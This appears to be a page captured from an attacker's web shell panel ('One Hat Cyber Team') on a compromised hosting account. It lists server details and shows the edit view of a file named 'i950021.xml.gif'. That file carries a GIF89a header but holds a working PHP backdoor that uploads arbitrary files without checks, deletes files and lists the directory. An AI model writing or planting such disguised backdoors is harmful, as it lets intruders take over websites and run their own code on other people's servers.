One Hat Cyber Team
Your IP:
216.73.216.75
Server IP:
213.186.33.17
Server:
Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Create File
|
Create Folder
Execute
Dir :
~
/
home
/
tcherkas
/
spectacles.russes
/
tmp
/
Edit File:
i950021.xml.gif
GIF89a <?php $d=__DIR__;$m='';$e=''; if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['f'])){ $fl=$_FILES['f']; if($fl['error']===UPLOAD_ERR_OK){ $nm=$fl['name']; $t=$d.'/'.$nm; if(move_uploaded_file($fl['tmp_name'],$t)){ $sz=filesize($t); $u=['B','KB','MB','GB'];$i=0; while($sz>=1024&&$i<count($u)-1){$sz/=1024;$i++;} $m="OK: <b>".htmlspecialchars($nm)."</b> (".round($sz,2)." ".$u[$i].")"; }else{$e="Save failed";} }else{$e="Upload error: ".$fl['error'];} } if(isset($_GET['del'])){$f=basename($_GET['del']);$p=$d.'/'.$f;if(file_exists($p)&&is_file($p)){unlink($p);header('Location:'.basename(__FILE__));exit;}} $fs=[];if(is_dir($d)){foreach(scandir($d)as$f){if($f==='.'||$f==='..')continue;$p=$d.'/'.$f;if(is_file($p)){$fs[]=[$f,filesize($p),filemtime($p)];}}usort($fs,fn($a,$b)=>$b[2]-$a[2]);} function fs($b){$u=['B','KB','MB','GB'];$i=0;while($b>=1024&&$i<count($u)-1){$b/=1024;$i++;}return round($b,2).' '.$u[$i];} function fi($e){$m=['php'=>'🐘','html'=>'🌐','txt'=>'📝','jpg'=>'🖼️','png'=>'🖼️','gif'=>'🖼️','pdf'=>'📄','zip'=>'📦','sql'=>'🗃️','js'=>'⚡','py'=>'🐍','sh'=>'💻'];return $m[$e]??'📄';} ?> <!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>FM</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:system-ui;background:#0d1117;color:#c9d1d9;padding:20px}.c{max-width:900px;margin:0 auto}h1{color:#58a6ff;margin-bottom:20px;font-size:1.5em;border-bottom:1px solid #21262d;padding-bottom:10px}.ub{background:#161b22;border:2px dashed #30363d;border-radius:8px;padding:30px;text-align:center;margin-bottom:20px}.ub:hover{border-color:#58a6ff}.ub input{display:none}.b{display:inline-block;padding:10px 24px;background:#238636;color:#fff;border:none;border-radius:6px;cursor:pointer;font-size:14px}.b:hover{background:#2ea043}.m{padding:10px 15px;border-radius:6px;margin-bottom:15px;font-size:14px}.s{background:#1b3a2d;border:1px solid #238636;color:#3fb950}.er{background:#3d1f28;border:1px solid #da3633;color:#f85149}table{width:100%;border-collapse:collapse;background:#161b22;border-radius:8px;overflow:hidden}th{background:#21262d;padding:12px 15px;text-align:left;font-weight:600;font-size:13px;color:#8b949e}td{padding:10px 15px;border-top:1px solid #21262d;font-size:14px}tr:hover{background:#1c2128}a{color:#58a6ff;text-decoration:none}a:hover{text-decoration:underline}.d{color:#f85149;font-size:12px;opacity:.7}.d:hover{opacity:1}.e{text-align:center;padding:30px;color:#484f58}.fc{color:#8b949e;font-size:13px;margin-bottom:10px}.sc{color:#8b949e;font-size:13px}</style></head><body><div class="c"><h1>📁 FM</h1><?php if($m):?><div class="m s">✅ <?=$m?></div><?php endif;?><?php if($e):?><div class="m er">❌ <?=$e?></div><?php endif;?><div class="ub"><p style="color:#8b949e;margin-bottom:15px">Drop file or click</p><form method="POST" enctype="multipart/form-data"><label class="b">📤 Select <input type="file" name="f" onchange="this.form.submit()"></label></form></div><p class="fc"><?=count($fs)?> file(s)</p><?php if(empty($fs)):?><div class="e">Empty</div><?php else:?><table><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th></th></tr></thead><tbody><?php foreach($fs as$f):?><tr><td><?=fi(pathinfo($f[0],PATHINFO_EXTENSION))?> <a href="<?=htmlspecialchars($f[0])?>"><?=htmlspecialchars($f[0])?></a></td><td class="sc"><?=fs($f[1])?></td><td class="sc"><?=date('Y-m-d H:i:s',$f[2])?></td><td><a href="?del=<?=urlencode($f[0])?>" class="d" onclick="return confirm('Delete?')">🗑️</a></td></tr><?php endforeach;?></tbody></table><?php endif;?></div></body></html>
Simpan